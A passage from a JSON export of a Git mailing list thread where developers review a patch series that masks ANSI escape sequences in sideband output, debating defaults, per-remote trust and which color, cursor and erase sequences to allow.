\ngitgitgadget\n"},{"id":"532401","messageId":"xmqqy0n0y1ep.fsf@gitster.g","threadId":"62809","inReplyTo":"2615abd8c5d5c55486cf5885c47e09e52fad61b8.1765981422.git.gitgitgadget@gmail.com","subject":"Re: [PATCH v2 2/4] sideband: introduce an \"escape hatch\" to allow control characters","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2025-12-18T02:22:22Z","receivedAt":"2025-12-18T02:22:25Z","isPatch":true,"body":"\"Johannes Schindelin via GitGitGadget\" <gitgitgadget@gmail.com>\nwrites:\n\n> diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\n> new file mode 100644\n> index 0000000000..3fb5045cd7\n> --- /dev/null\n> +++ b/Documentation/config/sideband.txt\n> @@ -0,0 +1,5 @@\n> +sideband.allowControlCharacters::\n> +\tBy default, control characters that are delivered via the sideband\n> +\tare masked, to prevent potentially unwanted ANSI escape sequences\n> +\tfrom being sent to the terminal. Use this config setting to override\n> +\tthis behavior.\n\nTwo thoughts.\n\n - Users may want to say \"I trust this remote host\" or \"I trust this\n   remote repository\".  For that, something similar to what we do to\n   `http.variable` to allow `http.<url>.variable` to take precedence\n   over `http.variable` would be necessary.\n\n - It may no longer matter but a remote repository that may send\n   messages as strings encoded in ISO/IEC 2022 would need to set\n   this, merely to make the messages human-readable.  There may be\n   other reasons the trusted repositories want to send \"escape\n   sequences\".\n\nIt might even be a good idea to make the default setting of this\nvariable \"allow\", except for the initial connections to repositories\n(i.e., \"git clone $URL\", and \"git fetch/ls-remote $URL\" with an\nexplicit $URL without using a nickname recorded in our .git/config),\nas visiting a potentially malicious remote repository you are not\nfamiliar with may not be uncommon, and users may deserve protection\nover inconvenience.\n\nBut once the user establishes a working relationship with a remote\nrepository, would it be a lot more common to trust the contents\nthere than be on the lookout that the repository may spew bad\nstrings of bytes at your standard error stream, I have to wonder.\n"},{"id":"532493","messageId":"9dd1aa88-badd-0cae-a2f7-21972548815c@gmx.de","threadId":"62809","inReplyTo":"xmqqy0n0y1ep.fsf@gitster.g","subject":"Re: [PATCH v2 2/4] sideband: introduce an \"escape hatch\" to allow control characters","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2025-12-18T17:59:48Z","receivedAt":"2025-12-18T17:59:56Z","isPatch":true,"body":"Hi Junio,\n\nOn Thu, 18 Dec 2025, Junio C Hamano wrote:\n\n> \"Johannes Schindelin via GitGitGadget\" <gitgitgadget@gmail.com>\n> writes:\n> \n> > diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\n> > new file mode 100644\n> > index 0000000000..3fb5045cd7\n> > --- /dev/null\n> > +++ b/Documentation/config/sideband.txt\n> > @@ -0,0 +1,5 @@\n> > +sideband.allowControlCharacters::\n> > +\tBy default, control characters that are delivered via the sideband\n> > +\tare masked, to prevent potentially unwanted ANSI escape sequences\n> > +\tfrom being sent to the terminal. Use this config setting to override\n> > +\tthis behavior.\n> \n> Two thoughts.\n> \n>  - Users may want to say \"I trust this remote host\" or \"I trust this\n>    remote repository\".  For that, something similar to what we do to\n>    `http.variable` to allow `http.<url>.variable` to take precedence\n>    over `http.variable` would be necessary.\n\nGood idea! What do you think about something like this?\n\n-- snip --\ndiff --git a/http.c b/http.c\nindex d59e59f66b1..14b5a95586c 100644\n--- a/http.c\n+++ b/http.c\n@@ -19,6 +19,7 @@\n #include \"string-list.h\"\n #include \"object-file.h\"\n #include \"object-store-ll.h\"\n+#include \"sideband.h\"\n \n static struct trace_key trace_curl = TRACE_KEY_INIT(CURL);\n static int trace_curl_data = 1;\n@@ -566,6 +567,9 @@ static int http_options(const char *var, const char *value,\n \t\treturn 0;\n \t}\n \n+\tif (!strcmp(\"http.sanitizesideband\", var))\n+\t\treturn sideband_allow_control_characters_config(var, value);\n+\n \t/* Fall back on the default ones */\n \treturn git_default_config(var, value, ctx, data);\n }\ndiff --git a/sideband.c b/sideband.c\nindex 725e24db0db..178c1320cac 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -26,13 +26,14 @@ static struct keyword_entry keywords[] = {\n };\n \n static enum {\n+\tALLOW_CONTROL_SEQUENCES_UNSET = -1,\n \tALLOW_NO_CONTROL_CHARACTERS = 0,\n \tALLOW_ANSI_COLOR_SEQUENCES = 1<<0,\n \tALLOW_ANSI_CURSOR_MOVEMENTS = 1<<1,\n \tALLOW_ANSI_ERASE = 1<<2,\n \tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n \tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n-} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+} allow_control_characters = ALLOW_CONTROL_SEQUENCES_UNSET;\n \n static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n \t\t\t\t     const char **out)\n@@ -44,8 +45,19 @@ static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n \treturn 1;\n }\n \n-static void parse_allow_control_characters(const char *value)\n+int sideband_allow_control_characters_config(const char *var, const char *value)\n {\n+\tswitch (git_parse_maybe_bool(value)) {\n+\tcase 0:\n+\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\t\treturn 0;\n+\tcase 1:\n+\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n+\t\treturn 0;\n+\tdefault:\n+\t\tbreak;\n+\t}\n+\n \tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \twhile (*value) {\n \t\tif (skip_prefix_in_csv(value, \"default\", &value))\n@@ -61,9 +73,9 @@ static void parse_allow_control_characters(const char *value)\n \t\telse if (skip_prefix_in_csv(value, \"false\", &value))\n \t\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \t\telse\n-\t\t\twarning(_(\"unrecognized value for `sideband.\"\n-\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\t\twarning(_(\"unrecognized value for '%s': '%s'\"), var, value);\n \t}\n+\treturn 0;\n }\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n@@ -79,20 +91,12 @@ static int use_sideband_colors(void)\n \tif (use_sideband_colors_cached >= 0)\n \t\treturn use_sideband_colors_cached;\n \n-\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n-\tcase 0: /* Boolean value */\n-\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n-\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n-\t\tbreak;\n-\tcase -1: /* non-Boolean value */\n-\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n-\t\t\t\t\t      &value))\n-\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n-\t\telse\n-\t\t\tparse_allow_control_characters(value);\n-\t\tbreak;\n-\tdefault:\n-\t\tbreak; /* not configured */\n+\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET) {\n+\t\tif (!git_config_get_value(\"sideband.allowcontrolcharacters\", &value))\n+\t\t\tsideband_allow_control_characters_config(\"sideband.allowcontrolcharacters\", value);\n+\n+\t\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET)\n+\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n \t}\n \n \tif (!git_config_get_string_tmp(key, &value))\ndiff --git a/sideband.h b/sideband.h\nindex 5a25331be55..e711ad0f4e0 100644\n--- a/sideband.h\n+++ b/sideband.h\n@@ -30,4 +30,11 @@ int demultiplex_sideband(const char *me, int status,\n \n void send_sideband(int fd, int band, const char *data, ssize_t sz, int packet_max);\n \n+/*\n+ * Parse and set the sideband allow control characters configuration.\n+ * The var parameter should be the key name (without section prefix).\n+ * Returns 0 if the variable was recognized and handled, non-zero otherwise.\n+ */\n+int sideband_allow_control_characters_config(const char *var, const char *value);\n+\n #endif\n-- snap --\n\nIf this is the direction you're thinking, I'll polish it and integrate it\ninto v3.\n\n>  - It may no longer matter but a remote repository that may send\n>    messages as strings encoded in ISO/IEC 2022 would need to set\n>    this, merely to make the messages human-readable.  There may be\n>    other reasons the trusted repositories want to send \"escape\n>    sequences\".\n\nIf the remote side has no way to determine whether the client side is\nconnected to a terminal or not (which we have already established in this\nthread), it has even less chance to determine which character encoding is\nin use...\n\n> It might even be a good idea to make the default setting of this\n> variable \"allow\", except for the initial connections to repositories\n> (i.e., \"git clone $URL\", and \"git fetch/ls-remote $URL\" with an\n> explicit $URL without using a nickname recorded in our .git/config),\n> as visiting a potentially malicious remote repository you are not\n> familiar with may not be uncommon, and users may deserve protection\n> over inconvenience.\n> \n> But once the user establishes a working relationship with a remote\n> repository, would it be a lot more common to trust the contents\n> there than be on the lookout that the repository may spew bad\n> strings of bytes at your standard error stream, I have to wonder.\n\nI am not so sure whether that would be desirable, for (at least :-) ) two\nreasons:\n\n- `git fetch` with an explicit URL is sometimes used outside clone\n  scenarios, and in some clone-type scenarios, `git clone` cannot be used\n  (e.g. to establish credentials or to determine the appropriate sparse\n  checkout based on information from the tip revision).\n\n  I know that it is a delicate balance to strike between convenience and\n  security. Yet I also know that users prefer easy-to-explain mental\n  models and this logic would be a bit hard to explain: Why disallow\n  something while cloning or fetching with an explicit URL while allowing\n  the very same thing in a subsequent fetch?\n\n  tl;dr I expect users to be much more okay with the strategy to disallow\n  all but very few ANSI sequences by default, with a message that tells\n  them what to do if they want to enable more (or all) control sequences.\n\n- I do not see how the user can inspect what the remote side does, even\n  after an initial clone. Therefore users would not have any reasonable\n  chance to gain any confidence that the remote side isn't doing anything\n  malicious. To the contrary, remote servers could specifically \"behave\"\n  during a clone, and launch the attack only during a fetch (indicated by\n  \"have\" lines in the request).\n\n  tl;dr remote servers don't get more trustworthy just by successfully\n  serving clones.\n\nDoes that reasoning make sense to you?\n\nCiao,\nJohannes\n"},{"id":"532547","messageId":"xmqqpl8avbop.fsf@gitster.g","threadId":"62809","inReplyTo":"9dd1aa88-badd-0cae-a2f7-21972548815c@gmx.de","subject":"Re: [PATCH v2 2/4] sideband: introduce an \"escape hatch\" to allow control characters","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2025-12-19T13:33:10Z","receivedAt":"2025-12-19T13:33:13Z","isPatch":true,"body":"Johannes Schindelin <Johannes.Schindelin@gmx.de> writes:\n\n> Good idea! What do you think about something like this?\n\nIt may be easier to hack up to piggyback on the http.*.variable\ninfrastructure, but I do not like the smell of it very much, because\nthe implementation ties it too tightly to the http transport; I\nthink this should live in one layer up (transport?).\n\n> If this is the direction you're thinking, I'll polish it and integrate it\n> into v3.\n\nIn other words, it would be more like sideband.allowEscapeSequences\nthat is overridden by sideband.<url>.allowEscapeSequences was what I\nhad in mind.  Or even transfer.allowEscapeSequencesInSideband that\nis overridden by transfer.<url>.allowEscapeSequencesInSideband.\n\n>>  - It may no longer matter but a remote repository that may send\n>>    messages as strings encoded in ISO/IEC 2022 would need to set\n>>    this, merely to make the messages human-readable.  There may be\n>>    other reasons the trusted repositories want to send \"escape\n>>    sequences\".\n>\n> If the remote side has no way to determine whether the client side is\n> connected to a terminal or not (which we have already established in this\n> thread), it has even less chance to determine which character encoding is\n> in use...\n\nThen I think you need to re-read brian's\n\n  https://lore.kernel.org/git/aS-D5lD2Kk6BHNIl@fruit.crustytoothpaste.net/\n\nIn any case, I do not think ISO/IEC 2022 matters as much as it used\nto back when the reencode_string_iconv() was written (which was the\ntopic of another thread regarding the broken iconv on macOS wrt\n2022).  But even if we limit ourselves to UTF-8, brian's point that\napplications do assume certain characteristics on its clients and\nimplements unportable stuff.  A project targetting developers and/or\nusers from certain locale may use their own hooks that assumes the\nclients understands strings in certain language in certain encoding.\n\nAnd to serve these projects better, classes like \"pass colors\",\n\"pass cursor movements\", might help than just \"pass everything\" vs\n\"deny everything\", but we probably want to try to keep it as simple\nas possible; trying to make it finer grained with extra complexity\nwould only make our efforts look like whack-a-mole X-<.\n\n>> It might even be a good idea to make the default setting of this\n>> variable \"allow\", except for the initial connections to repositories\n>> (i.e., \"git clone $URL\", and \"git fetch/ls-remote $URL\" with an\n>> explicit $URL without using a nickname recorded in our .git/config),\n>> as visiting a potentially malicious remote repository you are not\n>> familiar with may not be uncommon, and users may deserve protection\n>> over inconvenience.\n>> \n>> But once the user establishes a working relationship with a remote\n>> repository, would it be a lot more common to trust the contents\n>> there than be on the lookout that the repository may spew bad\n>> strings of bytes at your standard error stream, I have to wonder.\n\n>   tl;dr remote servers don't get more trustworthy just by successfully\n>   serving clones.\n\nThe \"successfully serving clone\" has nothing to do with the reason\nwhy I suggested to deny by default in \"clone\" and anything that gets\n$URL not remote nickname.  I am roughly equating the fact that the\nuser cloned *and* *then* continues to interact with the project that\nis served from that remote repository (hence using the remote\nnickname) with the willingness by the user to trust that particular\nremote repository.\n"},{"id":"533341","messageId":"aWD2s5RyhxYSLmfc@pks.im","threadId":"62809","inReplyTo":"8d7047655933592939dd1395f5b1ead595cee4ee.1765981422.git.gitgitgadget@gmail.com","subject":"Re: [PATCH v2 1/4] sideband: mask control characters","fromName":"Patrick Steinhardt","fromEmail":"ps@pks.im","sentAt":"2026-01-09T12:38:11Z","receivedAt":"2026-01-09T12:38:23Z","isPatch":true,"body":"On Wed, Dec 17, 2025 at 02:23:39PM +0000, Johannes Schindelin via GitGitGadget wrote:\n> From: Johannes Schindelin <johannes.schindelin@gmx.de>\n> \n> The output of `git clone` is a vital component for understanding what\n> has happened when things go wrong. However, these logs are partially\n> under the control of the remote server (via the \"sideband\", which\n> typically contains what the remote `git pack-objects` process sends to\n> `stderr`), and is currently not sanitized by Git.\n> \n> This makes Git susceptible to ANSI escape sequence injection (see\n> CWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows\n> attackers to corrupt terminal state, to hide information, and even to\n> insert characters into the input buffer (i.e. as if the user had typed\n> those characters).\n> \n> To plug this vulnerability, disallow any control character in the\n> sideband, replacing them instead with the common `^<letter/symbol>`\n> (e.g. `^[` for `\\x1b`, `^A` for `\\x01`).\n> \n> There is likely a need for more fine-grained controls instead of using a\n> \"heavy hammer\" like this, which will be introduced subsequently.\n\nMost notably color codes, I assume.\n\n> diff --git a/sideband.c b/sideband.c\n> index 02805573fa..fc1805dcf8 100644\n> --- a/sideband.c\n> +++ b/sideband.c\n> @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n>  \t\tlist_config_item(list, prefix, keywords[i].keyword);\n>  }\n>  \n> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n\nShouldn't `n` be of type `size_t`? I guess the answer is \"maybe\", as\n`maybe_colorize_sideband()` also accepts `int n` with a big comment\nexplaining why that's okay. Ultimately, the reason is that we accept\npkt-lines, so every line is limited to at most 64kB anyway.\n\n> +{\n> +\tstrbuf_grow(dest, n);\n> +\tfor (; n && *src; src++, n--) {\n> +\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n> +\t\t\tstrbuf_addch(dest, *src);\n> +\t\telse {\n\nTiny nit, not worth addressing on its own: the if branch should also\nhave curly braces.\n\nPatrick\n"},{"id":"533342","messageId":"aWD2vOwzmuiWdd_m@pks.im","threadId":"62809","inReplyTo":"2615abd8c5d5c55486cf5885c47e09e52fad61b8.1765981422.git.gitgitgadget@gmail.com","subject":"Re: [PATCH v2 2/4] sideband: introduce an \"escape hatch\" to allow control characters","fromName":"Patrick Steinhardt","fromEmail":"ps@pks.im","sentAt":"2026-01-09T12:38:20Z","receivedAt":"2026-01-09T12:38:27Z","isPatch":true,"body":"On Wed, Dec 17, 2025 at 02:23:40PM +0000, Johannes Schindelin via GitGitGadget wrote:\n> From: Johannes Schindelin <johannes.schindelin@gmx.de>\n> \n> The preceding commit fixed the vulnerability whereas sideband messages\n> (that are under the control of the remote server) could contain ANSI\n> escape sequences that would be sent to the terminal verbatim.\n> \n> However, this fix may not be desirable under all circumstances, e.g.\n> when remote servers deliberately add coloring to their messages to\n> increase their urgency.\n> \n> To help with those use cases, give users a way to opt-out of the\n> protections: `sideband.allowControlCharacters`.\n\nI wonder whether this is a bit too broad. The only escape sequences that\nI can see a valid use case for are color codes. So wouldn't it make\nsense to discern color escape sequences from all other escape sequences\nand allow users to only enable colors without also enabling all the\nother, potentially more dangerous ones?\n\nEdit: aha, you address this concern in the next commit. Nice :)\n\nPatrick\n"},{"id":"533343","messageId":"aWD2wpyOo0Tr34OD@pks.im","threadId":"62809","inReplyTo":"44585ba1f4223f053820d82f1513c2258e1e0059.1765981422.git.gitgitgadget@gmail.com","subject":"Re: [PATCH v2 3/4] sideband: do allow ANSI color sequences by default","fromName":"Patrick Steinhardt","fromEmail":"ps@pks.im","sentAt":"2026-01-09T12:38:26Z","receivedAt":"2026-01-09T12:38:31Z","isPatch":true,"body":"On Wed, Dec 17, 2025 at 02:23:41PM +0000, Johannes Schindelin via GitGitGadget wrote:\n> From: Johannes Schindelin <johannes.schindelin@gmx.de>\n> \n> The preceding two commits introduced special handling of the sideband\n> channel to neutralize ANSI escape sequences before sending the payload\n> to the terminal, and `sideband.allowControlCharacters` to override that\n> behavior.\n> \n> However, as reported by brian m. carlson, some `pre-receive` hooks that\n> are actively used in practice want to color their messages and therefore\n> rely on the fact that Git passes them through to the terminal, even\n> though they have no way to determine whether the receiving side can\n> actually handle Escape sequences (think e.g. about the practice\n> recommended by Git that third-party applications wishing to use Git\n> functionality parse the output of Git commands).\n> \n> In contrast to other ANSI escape sequences, it is highly unlikely that\n> coloring sequences can be essential tools in attack vectors that mislead\n> Git users e.g. by hiding crucial information.\n\nThe worst that they can do is to set up both fore- and background color\nto be the same so that text isn't visible. But I think that's an okay\ntradeoff.\n\n> Therefore we can have both: Continue to allow ANSI coloring sequences to\n> be passed to the terminal by default, and neutralize all other ANSI\n> Escape sequences.\n\nMakes sense.\n\n> diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\n> index 3fb5045cd7..e5b7383c7a 100644\n> --- a/Documentation/config/sideband.txt\n> +++ b/Documentation/config/sideband.txt\n> @@ -1,5 +1,17 @@\n>  sideband.allowControlCharacters::\n>  \tBy default, control characters that are delivered via the sideband\n> -\tare masked, to prevent potentially unwanted ANSI escape sequences\n> -\tfrom being sent to the terminal. Use this config setting to override\n> -\tthis behavior.\n> +\tare masked, except ANSI color sequences. This prevents potentially\n> +\tunwanted ANSI escape sequences from being sent to the terminal. Use\n> +\tthis config setting to override this behavior:\n> ++\n> +--\n> +\tdefault::\n> +\tcolor::\n> +\t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n> +\t\tbut mask all other control characters. This is the default.\n> +\tfalse::\n> +\t\tMask all control characters other than line feeds and\n> +\t\thorizontal tabs.\n> +\ttrue::\n> +\t\tAllow all control characters to be sent to the terminal.\n> +--\n\nNit: I think that our modern doc style requires the values to use\nbackticks. E.g. \"`default`::\".\n\n> diff --git a/sideband.c b/sideband.c\n> index 997430f2ea..fb43008ab7 100644\n> --- a/sideband.c\n> +++ b/sideband.c\n> @@ -40,8 +45,26 @@ static int use_sideband_colors(void)\n>  \tif (use_sideband_colors_cached >= 0)\n>  \t\treturn use_sideband_colors_cached;\n>  \n> -\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n> -\t\t\t    &allow_control_characters);\n> +\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n> +\tcase 0: /* Boolean value */\n> +\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n> +\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n> +\t\tbreak;\n> +\tcase -1: /* non-Boolean value */\n> +\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n> +\t\t\t\t\t      &value))\n> +\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n\nThis case is something that shouldn't happen in practice because we know\nthat the config ought to exist. I guess it _could_ indicate a race\ncondition, even though it's extremely unlikely to ever happen. So I was\nthinking about whether we want to `BUG()` here, but I guess just\nignoring this is fine, as well.\n\n> @@ -70,9 +93,41 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n>  \t\tlist_config_item(list, prefix, keywords[i].keyword);\n>  }\n>  \n> +static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n> +{\n> +\tint i;\n> +\n> +\t/*\n> +\t * Valid ANSI color sequences are of the form\n> +\t *\n> +\t * ESC [ [<n> [; <n>]*] m\n> +\t *\n> +\t * These are part of the Select Graphic Rendition sequences which\n> +\t * contain more than just color sequences, for more details see\n> +\t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n> +\t */\n> +\n> +\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n> +\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n> +\t\treturn 0;\n\nThis would break in case `allow_control_characters` allows _all_ ANSI\nsequences. But that doesn't matter right now because the function is\nonly called via `strbuf_add_sanitized()` when we're sanitizing at least\nsome characters.\n\nMight be worth though to add a call to `BUG()` in case we see an\nunsupported value for `allow_control_characters`.\n\n> +\tfor (i = 2; i < n; i++) {\n> +\t\tif (src[i] == 'm') {\n> +\t\t\tstrbuf_add(dest, src, i + 1);\n> +\t\t\treturn i;\n> +\t\t}\n> +\t\tif (!isdigit(src[i]) && src[i] != ';')\n> +\t\t\tbreak;\n> +\t}\n\nOkay, so this loop scans until we find the final \"m\" character that\nterminates the sequence. Looks good to me.\n\nPatrick\n"},{"id":"533344","messageId":"aWD2x154F5f-c3pL@pks.im","threadId":"62809","inReplyTo":"fe109cd3319a5e3a1d1982a53963a601bb62b81f.1765981422.git.gitgitgadget@gmail.com","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Patrick Steinhardt","fromEmail":"ps@pks.im","sentAt":"2026-01-09T12:38:31Z","receivedAt":"2026-01-09T12:38:36Z","isPatch":true,"body":"On Wed, Dec 17, 2025 at 02:23:42PM +0000, Johannes Schindelin via GitGitGadget wrote:\n> From: Johannes Schindelin <johannes.schindelin@gmx.de>\n> \n> Even though control sequences that erase characters are quite juicy for\n> attack scenarios, where attackers are eager to hide traces of suspicious\n> activities, during the review of the side band sanitizing patch series\n> concerns were raised that there might be some legimitate scenarios where\n> Git server's `pre-receive` hooks use those sequences in a benign way.\n> \n> Control sequences to move the cursor can likewise be used to hide tracks\n> by overwriting characters, and have been equally pointed out as having\n> legitimate users.\n> \n> Let's add options to let users opt into passing through those ANSI\n> Escape sequences: `sideband.allowControlCharacters` now supports also\n> `cursor` and `erase`, and it parses the value as a comma-separated list.\n\nHm, okay. I don't really see much of a reason to allow these, but now\nthat the code exists already I don't see a reason why we should remove\nthose options again.\n\n> diff --git a/sideband.c b/sideband.c\n> index fb43008ab7..725e24db0d 100644\n> --- a/sideband.c\n> +++ b/sideband.c\n> @@ -28,9 +28,43 @@ static struct keyword_entry keywords[] = {\n>  static enum {\n>  \tALLOW_NO_CONTROL_CHARACTERS = 0,\n>  \tALLOW_ANSI_COLOR_SEQUENCES = 1<<0,\n> +\tALLOW_ANSI_CURSOR_MOVEMENTS = 1<<1,\n> +\tALLOW_ANSI_ERASE = 1<<2,\n>  \tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n> -\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n> -} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n> +\tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n> +} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n\nNit, not worth addressing on its own: readability would be helped a bit\nif the assignments were all aligned.\n\n        static enum {\n                ALLOW_NO_CONTROL_CHARACTERS  = 0,\n                ALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n                ALLOW_ANSI_CURSOR_MOVEMENTS  = 1<<1,\n                ALLOW_ANSI_ERASE             = 1<<2,\n                ALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n                ALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n        } allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n\n> +static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n> +\t\t\t\t     const char **out)\n> +{\n> +\tif (!skip_prefix(value, prefix, &value) ||\n> +\t    (*value && *value != ','))\n> +\t\treturn 0;\n> +\t*out = value + !!*value;\n> +\treturn 1;\n> +}\n> +\n> +static void parse_allow_control_characters(const char *value)\n> +{\n> +\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n> +\twhile (*value) {\n> +\t\tif (skip_prefix_in_csv(value, \"default\", &value))\n> +\t\t\tallow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;\n> +\t\telse if (skip_prefix_in_csv(value, \"color\", &value))\n> +\t\t\tallow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;\n> +\t\telse if (skip_prefix_in_csv(value, \"cursor\", &value))\n> +\t\t\tallow_control_characters |= ALLOW_ANSI_CURSOR_MOVEMENTS;\n> +\t\telse if (skip_prefix_in_csv(value, \"erase\", &value))\n> +\t\t\tallow_control_characters |= ALLOW_ANSI_ERASE;\n> +\t\telse if (skip_prefix_in_csv(value, \"true\", &value))\n> +\t\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n> +\t\telse if (skip_prefix_in_csv(value, \"false\", &value))\n> +\t\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n\nDoes it really make sense to also handle \"true\" and \"false\" here? I\nwould expect that those values can only be passed standalone.\n\n> +\t\telse\n> +\t\t\twarning(_(\"unrecognized value for `sideband.\"\n> +\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n> +\t}\n> +}\n\nThis could be simplified if we used e.g. `string_list_split()`. But on\nthe other hand it avoids allocations, so that's a nice benefit.\n\nPatrick\n"},{"id":"533497","messageId":"aWKLrIefrcSwReu2@fruit.crustytoothpaste.net","threadId":"62809","inReplyTo":"aWD2x154F5f-c3pL@pks.im","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"brian m. carlson","fromEmail":"sandals@crustytoothpaste.net","sentAt":"2026-01-10T17:26:04Z","receivedAt":"2026-01-10T17:26:12Z","isPatch":true,"body":"On 2026-01-09 at 12:38:31, Patrick Steinhardt wrote:\n> On Wed, Dec 17, 2025 at 02:23:42PM +0000, Johannes Schindelin via GitGitGadget wrote:\n> > From: Johannes Schindelin <johannes.schindelin@gmx.de>\n> > \n> > Even though control sequences that erase characters are quite juicy for\n> > attack scenarios, where attackers are eager to hide traces of suspicious\n> > activities, during the review of the side band sanitizing patch series\n> > concerns were raised that there might be some legimitate scenarios where\n> > Git server's `pre-receive` hooks use those sequences in a benign way.\n> > \n> > Control sequences to move the cursor can likewise be used to hide tracks\n> > by overwriting characters, and have been equally pointed out as having\n> > legitimate users.\n> > \n> > Let's add options to let users opt into passing through those ANSI\n> > Escape sequences: `sideband.allowControlCharacters` now supports also\n> > `cursor` and `erase`, and it parses the value as a comma-separated list.\n> \n> Hm, okay. I don't really see much of a reason to allow these, but now\n> that the code exists already I don't see a reason why we should remove\n> those options again.\n\nThe reason these sequences, along with other sequences not mentioned in\nthis series, are useful is because people run tools like build tools\n(e.g., Cargo) or linters in pre-receive hooks and print the output and\nthose use a substantial portion of possible escape sequences.  I did a\nbrief survey sometime back of pre-receive hooks on GitHub to see what\nescape sequences were in use.\n\nI think Heroku has a push-to-deploy technique that leverages this\napproach to build and deploy your app, for instance.\n\nThis is one of the reasons that I was opposed to this series: it tends\nto break what is a very common use case.  Certainly it is not as common\nfor cloud-based forge environments, but it is very common for people to\ndo these kinds of things in self-hosted forge environments (where custom\npre-receive hooks are commonly used) or in non-forge environments like\npush-to-deploy.\n-- \nbrian m. carlson (they/them)\nToronto, Ontario, CA\n"},{"id":"533988","messageId":"20260115211448.GF1053259@coredump.intra.peff.net","threadId":"62809","inReplyTo":"aWKLrIefrcSwReu2@fruit.crustytoothpaste.net","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2026-01-15T21:14:48Z","receivedAt":"2026-01-15T21:14:50Z","isPatch":true,"body":"On Sat, Jan 10, 2026 at 05:26:04PM +0000, brian m. carlson wrote:\n\n> The reason these sequences, along with other sequences not mentioned in\n> this series, are useful is because people run tools like build tools\n> (e.g., Cargo) or linters in pre-receive hooks and print the output and\n> those use a substantial portion of possible escape sequences.  I did a\n> brief survey sometime back of pre-receive hooks on GitHub to see what\n> escape sequences were in use.\n> \n> I think Heroku has a push-to-deploy technique that leverages this\n> approach to build and deploy your app, for instance.\n> \n> This is one of the reasons that I was opposed to this series: it tends\n> to break what is a very common use case.  Certainly it is not as common\n> for cloud-based forge environments, but it is very common for people to\n> do these kinds of things in self-hosted forge environments (where custom\n> pre-receive hooks are commonly used) or in non-forge environments like\n> push-to-deploy.\n\nI also share your concern that real-world cases may be relying on these.\nBut I am also sympathetic that some people may prefer to risk breakage\n(or ugliness) if it might protect them from misleading or mischievous\nterminal trickery.\n\nIs there any reason we cannot introduce the new functionality as a\nconfig option but _not_ enable it by default?\n\nThat gives people the tools to protect themselves if they want to bear\nthe potential cost. It just feels a shame to deny them the tool because\nwe can't agree on the default.\n\n-Peff\n"},{"id":"533994","messageId":"xmqqa4yeblsx.fsf@gitster.g","threadId":"62809","inReplyTo":"20260115211448.GF1053259@coredump.intra.peff.net","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Junio C 